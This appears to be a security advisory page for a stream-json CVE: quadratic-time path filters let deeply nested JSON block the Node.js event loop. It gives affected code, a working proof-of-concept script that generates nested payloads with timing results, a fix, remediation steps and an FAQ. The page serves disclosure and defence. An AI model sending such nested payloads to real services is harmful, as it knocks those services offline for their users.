CVE-2026-71429: stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)
Description
The path filters pick, ignore, filter, and replace — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on every checkable token. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth D costs O(D²), not O(D).
This is triggered by document structure (nesting depth), not byte volume, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example pick({filter: 'data'}). Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.
Affected code (v3.4.0)
src/core/filters/filter-base.js:
js // L26-32 — string filter: rejoins the ENTIRE stack on every call const stringFilter = (string, separator) => { const stringWithSeparator = string + separator; return stack => { const path = stack.join(separator); // O(depth) — every call return path === string || path.startsWith(stringWithSeparator); }; };
// L34-39 — regexp filter: same const regExpFilter = (regExp, separator) => { return stack => { regExp.lastIndex = 0; return regExp.test(stack.join(separator)); // O(depth) — every call }; };
js // L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;
stack is pushed/popped on startObject/startArray/end (L239-250), so stack.length === depth. For a depth-D document that hasn't matched yet, filter() runs once per level and each call is O(depth) ⇒ O(D²) total.
Not affected: the streamArray/streamObject/streamValues streamers use asm.depth (an O(1) getter), so they don't exhibit this. The issue is specific to filter-base.js recomputing the path string.
Proof of concept
npm i stream-json@3.4.0 node poc-quadratic-dos.mjs
js import parserStream from 'stream-json'; import { pick } from 'stream-json/filters/pick.js'; import chain from 'stream-chain';
function run(D) { const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data" return new Promise((resolve) => { const t0 = process.hrtime.bigint(); const pipeline = chain([parserStream(), pick({ filter: 'data' })]); pipeline.on('data', () => {}); pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 })); pipeline.write(doc); pipeline.end(); }); } for (const D of [5000, 10000, 20000, 40000]) { const r = await run(D); console.log(D=${r.D} bytes=${r.bytes} ms=${Math.round(r.ms)}); }
Measured (Node v24, single core, clean npm i stream-json@3.4.0):
D=5000 bytes= 45001 ms= 160 D=10000 bytes= 90001 ms= 603 (3.8x for 2x input -> quadratic) D=20000 bytes=180001 ms= 2511 (4.2x) D=40000 bytes=360001 ms=11823 (4.7x)
A ~360 KB body (pure nesting, no data) blocks the event loop for ~12 seconds; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.
Impact
Remote, unauthenticated denial of service against any application that runs untrusted JSON through pick/ignore/filter/replace with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.
Suggested fix
Maintain the joined path incrementally instead of rejoining the whole stack per token: - On startObject/startArray push: append separator + key to a cached path string (and remember the pre-push length). - On end/pop: truncate the cached path back to the remembered length. - Filters test/startsWith against the cached string — O(1) amortized per token, making the whole traversal O(D).
Alternatively expose/enforce a maximum nesting depth for the filter path check.
Resolution
Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with maxDepth: Infinity.
Other sources
stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.5.0, the path filters pick, ignore, filter, and replace in src/core/filters/filter-base.js recompute the full path string from the nesting stack for every checkable token. Because the stack length equals the current nesting depth and a checkable token is emitted at every level, a depth D document costs O(D²) rather than O(D) to process. The issue is triggered by nesting depth rather than byte volume, including the documented pick({filter: 'data'}) traversal-until-match path, so an application that sends untrusted JSON through a string or RegExp filter can block the Node.js event loop and cause denial of service with a small deeply nested document. The streamArray, streamObject, and streamValues streamers are not affected because they use the constant-time asm.depth getter. This issue is fixed in version 3.5.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/stream-jsonto a version that resolves this vulnerability.Fixed in 3.5.0 - Upgrade
Upgrade
stream-jsonto a version that resolves this vulnerability.Fixed in 3.5.0 - Configuration
Ensure path-depth capping is in effect (do not set maxDepth: Infinity); the fix caps JSON nesting depth at 1024 by default and throws a RangeError beyond it.
stream-json filters (pick/ignore/filter/replace) filter path checking maxDepth = 1024 (default) / not Infinity - Compensating control
Optionally expose/enforce a maximum nesting depth for filter path checks to prevent O(D²) processing on deeply nested, untrusted JSON (primary affected path: pick/ignore/filter/replace string or RegExp filters).
Event History
Frequently Asked Questions
Which uses of stream-json are exposed to this denial of service?
Applications using the pick, ignore, filter, or replace path filters with a string or RegExp filter on untrusted JSON are affected. The streamArray, streamObject, and streamValues streamers are not affected.
What does an attacker need to exploit this issue?
An attacker needs to cause the application to process a deeply nested JSON document through an affected path filter. The payload can be small by byte size because the processing cost is driven by nesting depth.
Are default stream-json parsing paths affected?
The issue is specific to the pick, ignore, filter, and replace filters. The documented pick({filter: 'data'}) traversal-until-match path is affected, while the listed streamArray, streamObject, and streamValues streamers are not.
What should be done if upgrading is not immediately possible?
Avoid sending untrusted JSON through affected string or RegExp path filters, and reject or otherwise constrain deeply nested JSON before it reaches those filters. Upgrading to version 3.5.0 fixes the issue.